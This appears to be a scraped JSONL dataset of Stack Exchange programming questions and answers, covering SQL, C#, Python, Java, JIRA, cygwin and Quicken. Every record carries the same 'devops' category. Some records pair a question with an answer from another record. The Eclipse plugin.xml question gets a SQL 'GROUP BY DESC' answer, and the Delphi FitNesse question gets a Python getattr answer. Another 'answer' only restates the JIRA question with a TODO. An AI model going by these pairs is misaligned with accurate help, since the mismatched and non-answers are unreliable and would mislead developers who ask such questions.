{"id": "hf_69f007ecca60", "question": "<p>By default data extracted by the <code>GROUP BY</code> clause is ordered as ascending.\nHow to change it to descending.</p>\n", "question_body": "", "answer": "Add\n```\nDESC\n```\nto the\n```\nGROUP BY\n```\nclause, e.g. :\n```\n```\nGROUP BY myDate DESC\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:04.660767"}
{"id": "hf_f0a6b173f41b", "question": "<p>I would like to know where can I find the code which eclipse uses to display the forms in the plugin.xml file. In particular I am looking for the form layout used in the extension tab in the plugin.xml</p>\n", "question_body": "", "answer": "Add\n```\nDESC\n```\nto the\n```\nGROUP BY\n```\nclause, e.g. :\n```\n```\nGROUP BY myDate DESC\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:04.691103"}
{"id": "hf_f658856fda5b", "question": "<p>I keep running into this problem when debugging JSP pages in OpenNMS. The Jetty wiki talks about keepGenerated (<a href=\"http://docs.codehaus.org/display/JETTY/KeepGenerated\" rel=\"nofollow noreferrer\">http://docs.codehaus.org/display/JETTY/KeepGenerated</a>) in webdefault.xml but it seems unclear how this works in embedded setups.</p>\n", "question_body": "", "answer": "It is dumped already.\nfor example if you have a file called\n```\nindex.jsp\n```\n, a file will be created called\n```\nindex_jsp.java\n```\nJust search for something like that in the work directory.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:04.720827"}
{"id": "hf_b7f4bc2d4d74", "question": "<p>I have a memory buffer corresponding to my screen resolution (1280x800 at 24-bits-per-pixel) that contains my screen contents at 24bpp. I want to convert this to 8-bpp (ie. Halftone color palette in Windows).\nI currently do this:\n1. Use CreateDIBSection to allocate a new 1280x800 24-bpp buffer and access it as a DC, as well as a plain memory buffer\n2. Use memcpy to copy from my original buffer to this new buffer from step 1\n3. Use BitBlt to let GDI perform the color conversion</p>\n\n<p>I want to avoid the extra memcpy of step 2. To do this, I can think of two approaches:</p>\n\n<p>a. Wrap my original mem buf in a DC to perform BitBlt directly from it</p>\n\n<p>b. Write my own 24-bpp to 8-bpp color conversion. I can't find any info on how Windows implements this halftone color conversion. Besides even if I find out, I won't be using the accelerated features of GDI that BitBlt has access to.</p>\n\n<p>So how do I do either (a) or (b)?</p>\n\n<p>thanks!</p>\n", "question_body": "", "answer": "OK, to address the two parts of the problem.\nthe following code shows how to get at the pixels inside of a bitmap, change them and put them back into the bitmap.  You could always generate a dummy bitmap of the correct size and format, open it up, copy over your data and you then have a bitmap object with your data:\n```\n```\nprivate void LockUnlockBitsExample(PaintEventArgs e)\n{\n\n   // Create a new bitmap.\n   Bitmap bmp = new Bitmap(\"c:\\\\fakePhoto.jpg\");\n\n   // Lock the bitmap's bits.  \n   Rectangle rect = new Rectangle(0, 0, bmp.Width, bmp.Height);\n   System.Drawing.Imaging.BitmapData bmpData =\n         bmp.LockBits(rect, System.Drawing.Imaging.ImageLockMode.ReadWrite,\n         bmp.PixelFormat);\n\n   // Get the address of the first line.\n   IntPtr ptr = bmpData.Scan0;\n\n   // Declare an array to hold the bytes of the bitmap.\n   int bytes  = bmpData.Stride * bmp.Height;\n   byte[] rgbValues = new byte[bytes];\n\n   // Copy the RGB values into the array.\n   System.Runtime.InteropServices.Marshal.Copy(ptr, rgbValues, 0, bytes);\n\n   // Set every third value to 255. A 24bpp bitmap will look red.  \n   for (int counter = 2; counter < rgbValues.Length; counter += 3)\n       rgbValues[counter] = 255;\n\n   // Copy the RGB values back to the bitmap\n   System.Runtime.InteropServices.Marshal.Copy(rgbValues, 0, ptr, bytes);\n\n   // Unlock the bits.\n   bmp.UnlockBits(bmpData);\n\n   // Draw the modified image.\n   e.Graphics.DrawImage(bmp, 0, 150);\n}\n```\n```\nTo convert the contents to 8bpp you'll want to use the System.Drawing.Imaging.ColorMatrix class.  I don't have at hand the correct matrix values for half-tone, but this example grayscales and adjustment of the values should give you an idea of the effect:\n```\n```\nGraphics g = e.Graphics;\nBitmap bmp = new Bitmap(\"sample.jpg\");\ng.FillRectangle(Brushes.White, this.ClientRectangle);\n\n// Create a color matrix\n// The value 0.6 in row 4, column 4 specifies the alpha value\nfloat[][] matrixItems = {\n                            new float[] {1, 0, 0, 0, 0},\n                            new float[] {0, 1, 0, 0, 0},\n                            new float[] {0, 0, 1, 0, 0},\n                            new float[] {0, 0, 0, 0.6f, 0}, \n                            new float[] {0, 0, 0, 0, 1}};\nColorMatrix colorMatrix = new ColorMatrix(matrixItems);\n\n// Create an ImageAttributes object and set its color matrix\nImageAttributes imageAtt = new ImageAttributes();\nimageAtt.SetColorMatrix(colorMatrix, ColorMatrixFlag.Default, ColorAdjustType.Bitmap);\n\n// Now draw the semitransparent bitmap image.\ng.DrawImage(bmp, this.ClientRectangle, 0.0f, 0.0f, bmp.Width, bmp.Height, \n            GraphicsUnit.Pixel, imageAtt);\n\nimageAtt.Dispose();\n```\n```\nI shall try and update later with the matrix values for half-tone, it's likely to be lots 0.5 or 0.333 values in there!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:04.753980"}
{"id": "hf_7ecf2dc0fc42", "question": "<p>Suppose I have a simple XHTML document that uses a custom namespace for attributes:</p>\n\n<pre><code>&lt;html xmlns=\"...\" xmlns:custom=\"http://www.example.com/ns\"&gt;\n    ...\n    &lt;div class=\"foo\" custom:attr=\"bla\"/&gt;\n    ...\n&lt;/html&gt;\n</code></pre>\n\n<p>How do I match each element that has a certain custom attribute using jQuery? Using</p>\n\n<pre><code>$(\"div[custom:attr]\")\n</code></pre>\n\n<p>does not work. (Tried with Firefox only, so far.)</p>\n", "question_body": "", "answer": "You should use\n```\n$('div').attr('custom:attr')\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:04.781946"}
{"id": "hf_8110172d656b", "question": "<p>I'm building a project using a GNU tool chain and everything works fine until I get to linking it, where the linker complains that it is missing/can't find <code>crti.o</code>. This is not one of my object files, it seems to be related to libc but I can't understand why it would need this <code>crti.o</code>, wouldn't it use a library file, e.g. <code>libc.a</code>?</p>\n\n<p>I'm cross compiling for the arm platform. I have the file in the toolchain, but how do I get the linker to include it? </p>\n\n<p><code>crti.o</code> is on one of the 'libraries' search path, but should it look for <code>.o</code> file on the library path? </p>\n\n<p>Is the search path the same for <code>gcc</code> and <code>ld</code>?</p>\n", "question_body": "", "answer": "```\ncrti.o\n```\nis the bootstrap library, generally quite small. It's usually statically linked into your binary. It should be found in\n```\n/usr/lib\n```\n.\nIf you're running a binary distribution they tend to put all the developer stuff into -dev packages (e.g. libc6-dev) as it's not needed to run compiled programs, just to build them.\nYou're not cross-compiling are you?\nIf you're cross-compiling it's usually a problem with gcc's search path not matching where your crti.o is. It should have been built when the toolchain was. The first thing to check is\n```\ngcc -print-search-dirs\n```\nand see if crti.o is in any of those paths.\nThe linking is actually done by ld but it has its paths passed down to it by gcc. Probably the quickest way to find out what's going on is compile a helloworld.c program and strace it to see what is getting passed to ld and see what's going on.\n```\n```\nstrace -v -o log -f -e trace=open,fork,execve gcc hello.c -o test\n```\n```\nOpen the log file and search for crti.o, as you can see my non-cross compiler:\n```\n```\n10616 execve(\"/usr/bin/ld\", [\"/usr/bin/ld\", \"--eh-frame-hdr\", \"-m\", \"elf_x86_64\", \"--hash-style=both\", \"-dynamic-linker\", \"/lib64/ld-linux-x86-64.so.2\", \"-o\"\n, \"test\", \"/usr/lib/gcc/x86_64-linux-gnu/4.\"..., \"/usr/lib/gcc/x86_64-linux-gnu/4.\"..., \"/usr/lib/gcc/x86_64-linux-gnu/4.\"..., \"-L/usr/lib/gcc/x86_64-linux-g\nnu/\"..., \"-L/usr/lib/gcc/x86_64-linux-gnu/\"..., \"-L/usr/lib/gcc/x86_64-linux-gnu/\"..., \"-L/lib/../lib\", \"-L/usr/lib/../lib\", \"-L/usr/lib/gcc/x86_64-linux-gnu\n/\"..., \"/tmp/cc4rFJWD.o\", \"-lgcc\", \"--as-needed\", \"-lgcc_s\", \"--no-as-needed\", \"-lc\", \"-lgcc\", \"--as-needed\", \"-lgcc_s\", \"--no-as-needed\", \"/usr/lib/gcc/x86_\n64-linux-gnu/4.\"..., \"/usr/lib/gcc/x86_64-linux-gnu/4.\"...],  \"COLLECT_GCC=gcc\", \"COLLECT_GCC_OPTIONS=\\'-o\\' \\'test\\' \"..., \"COMPILER_PATH=/usr/lib/gcc/x86_6\"..., \"LIBRARY_PATH=/usr/lib/gcc/x86_64\"..., \"CO\nLLECT_NO_DEMANGLE=\"]) = 0\n10616 open(\"/etc/ld.so.cache\", O_RDONLY) = 3\n10616 open(\"/usr/lib/libbfd-2.18.0.20080103.so\", O_RDONLY) = 3\n10616 open(\"/lib/libc.so.6\", O_RDONLY)  = 3\n10616 open(\"test\", O_RDWR|O_CREAT|O_TRUNC, 0666) = 3\n10616 open(\"/usr/lib/gcc/x86_64-linux-gnu/4.2.3/../../../../lib/crt1.o\", O_RDONLY) = 4\n10616 open(\"/usr/lib/gcc/x86_64-linux-gnu/4.2.3/../../../../lib/crti.o\", O_RDONLY) = 5\n10616 open(\"/usr/lib/gcc/x86_64-linux-gnu/4.2.3/crtbegin.o\", O_RDONLY) = 6\n10616 open(\"/tmp/cc4rFJWD.o\", O_RDONLY) = 7\n```\n```\nIf you see a bunch of attempts to\n```\nopen(...crti.o) = -1 ENOENT\n```\n,\n```\nld\n```\nis getting confused and you want to see where the path it's opening came from...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:04.847049"}
{"id": "hf_f52f094ae6ab", "question": "<p>In static languages like Java you need interfaces because\notherwise the type system just won't let you do certain things.\nBut in dynamic languages like PHP and Python you just take\nadvantage of <em>duck-typing</em>.</p>\n\n<p>PHP supports interfaces.\nRuby and Python don't have them.\nSo you can clearly live happily without them.</p>\n\n<p>I've been mostly doing my work in PHP and have never really\nmade use of the ability to define interfaces. When I need a\nset of classes to implement certain common interface, then\nI just describe it in documentation.</p>\n\n<p>So, what do you think? Aren't you better off without using\ninterfaces in dynamic languages at all?</p>\n", "question_body": "", "answer": "Well, first of all, it's right that Ruby does not have Interface as is, but they have mixin, wich takes somehow the best of both interfaces and abstract classes from other languages.\nThe main goal of interface is to ensure that your object SHALL implement ALL the methods present in the interface itself.\nOf course, interface are never mandatory, even in Java you could imagine to work only with classes and using reflection to call methods when you don't know wich kind of object you're manipulating, but it is error prone and should be discouraged in many ways.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:04.907890"}
{"id": "hf_a76d454a5844", "question": "<p>I'm trying to match elements with a name that is <code>'container1$container2$chkChecked'</code>, using a regex of <code>'.+\\$chkChecked'</code>, but I'm not getting the matches I expect when the element name is as described.  What am I doing wrong?</p>\n", "question_body": "", "answer": "try\n```\n```\nstring.match( /[$]chkChecked$/ )\n```\n```\nalternatively, you could try\n```\n```\nstring.match( /[^a-zA-Z0-9]chkChecked/ )\n```\n```\n( Also, make sure your using\n```\n//\n```\naround your regex, otherwise you might be matching using string literals. Not obvious tho without a larger code snippet )", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:04.944281"}
{"id": "hf_bd9a95f5ecef", "question": "<p>I am considering using Postsharp framework to ease the burden of application method logging.\nIt basically allows me to adorn methods with logging attribute and at compile time injects the logging code needed into the il. I like this solution as it keeps the noise out of the deign time code environment.\nAny thoughts, experiences or better alternatives?</p>\n", "question_body": "", "answer": "I apply logging with AOP using Castle Windsor DynamicProxies.  I was already using Castle for it's IoC container, so using it for AOP was the path of least resistence for me.   If you want more info let me know, I'm in the process of tidying the code up for releasing it as a blog post\nEdit\nOk, here's the basic Intercepter code, faily basic but it does everything I need.  There are two intercepters, one logs everyhing and the other allows you to define method names to allow for more fine grained logging.  This solution is faily dependant on Castle Windsor\nAbstract Base class\n```\n```\nnamespace Tools.CastleWindsor.Interceptors\n{\nusing System;\nusing System.Text;\nusing Castle.Core.Interceptor;\nusing Castle.Core.Logging;\n\npublic abstract class AbstractLoggingInterceptor : IInterceptor\n{\n    protected readonly ILoggerFactory logFactory;\n\n    protected AbstractLoggingInterceptor(ILoggerFactory logFactory)\n    {\n        this.logFactory = logFactory;\n    }\n\n    public virtual void Intercept(IInvocation invocation)\n    {\n        ILogger logger = logFactory.Create(invocation.TargetType);\n\n        try\n        {\n            StringBuilder sb = null;\n\n            if (logger.IsDebugEnabled)\n            {\n                sb = new StringBuilder(invocation.TargetType.FullName).AppendFormat(\".{0}(\", invocation.Method);\n\n                for (int i = 0; i < invocation.Arguments.Length; i++)\n                {\n                    if (i > 0)\n                        sb.Append(\", \");\n\n                    sb.Append(invocation.Arguments[i]);\n                }\n\n                sb.Append(\")\");\n\n                logger.Debug(sb.ToString());\n            }\n\n            invocation.Proceed();\n\n            if (logger.IsDebugEnabled && invocation.ReturnValue != null)\n            {\n                logger.Debug(\"Result of \" + sb + \" is: \" + invocation.ReturnValue);\n            }\n        }\n        catch (Exception e)\n        {\n            logger.Error(string.Empty, e);\n            throw;\n        }\n    }\n}\n}\n```\n```\nFull Logging Implemnetation\n```\n```\nnamespace Tools.CastleWindsor.Interceptors\n{\nusing Castle.Core.Logging;\n\npublic class LoggingInterceptor : AbstractLoggingInterceptor\n{\n    public LoggingInterceptor(ILoggerFactory logFactory) : base(logFactory)\n    {\n    }\n}\n}\n```\n```\nMethod logging\n```\n```\nnamespace Tools.CastleWindsor.Interceptors\n{\nusing Castle.Core.Interceptor;\nusing Castle.Core.Logging;\nusing System.Linq;\n\npublic class MethodLoggingInterceptor : AbstractLoggingInterceptor\n{\n    private readonly string[] methodNames;\n\n    public MethodLoggingInterceptor(string[] methodNames, ILoggerFactory logFactory) : base(logFactory)\n    {\n        this.methodNames = methodNames;\n    }\n\n    public override void Intercept(IInvocation invocation)\n    {\n        if ( methodNames.Contains(invocation.Method.Name) )\n            base.Intercept(invocation);\n    }\n}\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:04.967795"}
{"id": "hf_3202e2453a1c", "question": "<p>My Tomcat instance is listening to multiple IP addresses, but I want to control which source IP address is used when opening a <code>URLConnection</code>. </p>\n\n<p>How can I specify this?</p>\n", "question_body": "", "answer": "The obvious portable way would be to set a Proxy in URL.openConnection. The proxy can be in local host, you can then write a very simple proxy that binds the local address of the client socket.\nIf you can't modify the source where the URL is connected, you can replace the URLStreamHandler either when calling the URL constructor or globally through URL.setURLStreamHandlerFactory. The URLStreamHandler can then delegate to the default http/https handler, modifying the openConnection call.\nA more extreme method would be to completely replace the handler (perhaps extending the implementation in your JRE). Alternatively, alternative (open source) http clients are available.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:05.004030"}
{"id": "hf_32db00869118", "question": "<p>What are the differences between a <code>clustered</code> and a <code>non-clustered index</code>?</p>\n", "question_body": "", "answer": "Clustered indexes are stored physically on the table. This means they are the fastest and you can only have one clustered index per table.\nNon-clustered indexes are stored separately, and you can have as many as you want.\nThe best option is to set your clustered index on the most used unique column, usually the PK. You should always have a well selected clustered index in your tables, unless a very compelling reason--can't think of a single one, but hey, it may be out there--for not doing so comes up.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:05.039908"}
{"id": "hf_c0d0312b5bb4", "question": "<p>I am looking for a good way to consistently test my web applications from the end users point of view. I have all kinds of ways to check to make sure my code is working behind the scenes. I can't count the number of times that I make a change to a piece of code, test it and it works fine and then deploy it only to have it blow up somewhere else weeks later. I have by that time forgotten the change I made that caused it to blow up. I need something that I can run every time I make a change to assure me I did not break something somewhere else.</p>\n\n<p>It needs to be able to input correct and incorrect entries so that client side validation can be tested also.</p>\n\n<p>Thank you,</p>\n\n<p>Scott and the Dev Team</p>\n", "question_body": "", "answer": "I thin you need to investigate\nSelenium\n. We use it to do automated UI testing throughout our solution, and it is cross browser and cross platform.\nYou can use the\nSelenium IDE\nto record a walkthrough of your web application, and then you can either run it in the browser, or export it to various languages such as C#, and run it using NUnit. I find this is the easiest approach because I can create the basic walkthrough and then modify the code to use inputs from a file/database in order to create multiple scenarios.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:05.088831"}
{"id": "hf_131740895189", "question": "<p>I have heard the 'shard' technique mentioned several times with regard to solving scaling problems for large websites. What is this 'shard' technique and why is it so good?</p>\n", "question_body": "", "answer": "Karl Seguin has a\ngood blog\npost about sharding.\nFrom the post:\nSharding is the separation of your\n  data across multiple servers. How you\n  separate your data is up to you, but\n  generally it’s done on some\n  fundamental identifier.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:05.113700"}
{"id": "hf_8dffebe144cc", "question": "<p>How do you update a summary field's value from post function in JIRA?</p>\n", "question_body": "", "answer": "Ok, I'll try to explain... For simplicity, suppose we have a post function and we want summary value changed to \"foobar\":\n```\n```\npublic class SomePostFunction implements FunctionProvider {\n\n    public void execute(Map transientVars, Map args, PropertySet ps) throws WorkflowException {\n        String newValue = \"foobar\";\n        // TODO update summary so it's value becomes newValue\n    }\n\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:05.151008"}
{"id": "hf_c1422003cf61", "question": "<p>I'm a little blockheaded right now…</p>\n\n<p>I have a date string in european format <strong>dd.mm.yyyy</strong> and need to transform it to <strong>mm.dd.yyyy</strong> with classic ASP. Any quick ideas?</p>\n", "question_body": "", "answer": "OK, I just found a solution myself:\n```\n```\npayment_date = MID(payment_date,4,3) & LEFT(payment_date,3) & MID(payment_date,7)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:05.176572"}
{"id": "hf_909387dd46cc", "question": "<p>I am building a table using the DataGridView where a user can select items from a dropdown in each cell.   To simplify the problem, lets say i have 1 column.  I am using the DataGridViewComboBoxColumn in the designer.  I am trying to support having each row in that column have a different list of items to choose from.</p>\n\n<p>Is this possible?</p>\n", "question_body": "", "answer": "Yes. This can be done using the DataGridViewComboBoxCell.\nHere is an example method to add the items to just one cell, rather than the whole column.\n```\n```\nprivate void setCellComboBoxItems(DataGridView dataGrid, int rowIndex, int colIndex, object[] itemsToAdd)\n{\n    DataGridViewComboBoxCell dgvcbc = (DataGridViewComboBoxCell) dataGrid.Rows[rowIndex].Cells[colIndex];\n    // You might pass a boolean to determine whether to clear or not.\n    dgvcbc.Items.Clear();\n    foreach (object itemToAdd in itemsToAdd)\n    {\n        dgvcbc.Items.Add(itemToAdd);\n    }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:05.201058"}
{"id": "hf_30afd2c4ee72", "question": "<p>How can I set the background color of a specific item in a  <em>System.Windows.Forms.ListBox</em>?</p>\n<p>I would like to be able to set multiple ones if possible.</p>\n", "question_body": "", "answer": "Probably the only way to accomplish that is to draw the items yourself.\nSet the\n```\nDrawMode\n```\nto\n```\nOwnerDrawFixed\n```\nand code something like this on the DrawItem event:\n```\n```\nprivate void listBox_DrawItem(object sender, DrawItemEventArgs e)\n{\n    e.DrawBackground();\n    Graphics g = e.Graphics;\n\n    g.FillRectangle(new SolidBrush(Color.Silver), e.Bounds);\n\n    // Print text\n\n    e.DrawFocusRectangle();\n}\n```\n```\nThe second option would be using a ListView, although they have an other way of implementations (not really data bound, but more flexible in way of columns).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:05.225643"}
{"id": "hf_363b1f3e7a28", "question": "<p>To create a new event handler on a control you can do this</p>\n\n<pre><code>c.Click += new EventHandler(mainFormButton_Click);\n</code></pre>\n\n<p>or this</p>\n\n<pre><code>c.Click += mainFormButton_Click;\n</code></pre>\n\n<p>and to remove an event handler you can do this</p>\n\n<pre><code>c.Click -= mainFormButton_Click;\n</code></pre>\n\n<p>But how do you remove all event handlers from an event?</p>\n", "question_body": "", "answer": "From\nRemoving All Event Handlers\n:\nDirectly no, in large part because you\n  cannot simply set the event to null.\nIndirectly, you could make the actual\n  event private and create a property\n  around it that tracks all of the\n  delegates being added/subtracted to\n  it.\nTake the following:\n```\n```\nList<EventHandler> delegates = new List<EventHandler>();\n\nprivate event EventHandler MyRealEvent;\n\npublic event EventHandler MyEvent\n{\n    add\n    {\n        MyRealEvent += value;\n        delegates.Add(value);\n    }\n\n    remove\n    {\n        MyRealEvent -= value;\n        delegates.Remove(value);\n    }\n}\n\npublic void RemoveAllEvents()\n{\n    foreach(EventHandler eh in delegates)\n    {\n        MyRealEvent -= eh;\n    }\n    delegates.Clear();\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:05.263385"}
{"id": "hf_b5d2bf1fbedb", "question": "<p>Working with python interactively, it's sometimes necessary to display a result which is some arbitrarily complex data structure (like lists with embedded lists, etc.)\nThe default way to display them is just one massive linear dump which just wraps over and over and you have to parse carefully to read it.</p>\n\n<p>Is there something that will take any python object and display it in a more rational manner. e.g.</p>\n\n<pre><code>[0, 1,\n    [a, b, c],\n    2, 3, 4]\n</code></pre>\n\n<p>instead of:</p>\n\n<pre><code>[0, 1, [a, b, c], 2, 3, 4]\n</code></pre>\n\n<p>I know that's not a very good example, but I think you get the idea.</p>\n", "question_body": "", "answer": "```\n```\nfrom pprint import pprint\na = [0, 1, ['a', 'b', 'c'], 2, 3, 4]\npprint(a)\n```\n```\nNote that for a short list like my example, pprint will in fact print it all on one line. However, for more complex structures it does a pretty good job of pretty printing data.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:05.337728"}
{"id": "hf_9022f203117d", "question": "<p>I have a model class:</p>\n\n<pre><code>class Person(db.Model):\n  first_name = db.StringProperty(required=True)\n  last_name = db.StringProperty(required=True)\n</code></pre>\n\n<p>I have an instance of this class in <code>p</code>, and string <code>s</code> contains the value <code>'first_name'</code>. I would like to do something like:</p>\n\n<pre><code>print p[s]\n</code></pre>\n\n<p>and </p>\n\n<pre><code>p[s] = new_value\n</code></pre>\n\n<p>Both of which result in a <code>TypeError</code>.</p>\n\n<p>Does anybody know how I can achieve what I would like?</p>\n", "question_body": "", "answer": "```\n```\ngetattr(p, s)\nsetattr(p, s, new_value)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:05.375200"}
{"id": "hf_f3e610aac521", "question": "<p>Is there a version of FitNesse that works on Delphi 2006/2007/2009?</p>\n\n<p>If so where can I find It?</p>\n\n<p>Are there any other programs like FitNesse that work on Delphi 2006?</p>\n", "question_body": "", "answer": "```\n```\ngetattr(p, s)\nsetattr(p, s, new_value)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:05.400483"}
{"id": "hf_03c1f6cf24be", "question": "<p>Say I have the following web.config:</p>\n\n<pre><code>&lt;?xml version=\"1.0\" encoding=\"utf-8\"?&gt;\n&lt;configuration&gt;\n    &lt;system.web&gt;\n        &lt;authentication mode=\"Windows\"&gt;&lt;/authentication&gt;\n    &lt;/system.web&gt;\n&lt;/configuration&gt;\n</code></pre>\n\n<p>Using ASP.NET C#, how can I detect the Mode value of the Authentication tag?</p>\n", "question_body": "", "answer": "Try\n```\nContext.User.Identity.AuthenticationType\n```\nGo for PB's answer folks", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:05.425504"}
{"id": "hf_3f51957816cb", "question": "<p>How many people actually write an SDD document before writing a single line of code?</p>\n\n<p>How do you handle large CSCI's? </p>\n\n<p>What standard do you use for SDD content?</p>\n\n<p>What tailoring have you done?</p>\n", "question_body": "", "answer": "Most big software companies have their own practices. For example Motorola has detailed documentation for every aspect of software development process. There are standard templates for each type of documents. Having strict standards allows effectively maintain huge number of documents and integrate it with different tools. Each document obtains tracking number from special document-tracking system. They even have system (last time I seen it was in stage of early development) for automatically requirements tracking - you can say which line of code relate to given requirement\\design guideline.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:05.487610"}
{"id": "hf_50d7c1905912", "question": "<p>Can I safely rename the cygdrive folder? Also, I would like to add other folders at root and map them to folders on windows in the same way as /cygdrive/c maps to my C drive. Is that possible?</p>\n", "question_body": "", "answer": "I wouldn't rename cygdrive as I don't know what that would do, but you can map other directories at root to various windows directories using the\n```\nmount\n```\ncommand.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:05.523771"}
{"id": "hf_c2d7ce5ebae5", "question": "<p>Looking for an open source library, for C++, Java, C# or Python, for reading the data from Quicken <strong>.qdf</strong> files.</p>\n\n<p>@Swati:  Quicken <strong>.qif</strong> format is for transfer only and is not kept up to date by the application  like the .qdf file is.</p>\n", "question_body": "", "answer": "http://www.west-wind.com/Weblog/posts/10491.aspx\nAnd i know one other blog where the author was developing a parser for qfx/qif... lemme look it up... googling hasnt helped yet :(\nUpdate: Found one more:\nhttp://blogs.msdn.com/lucabol/archive/2007/08/31/parsing-qif-quicken-files-in-c.aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:05.548508"}
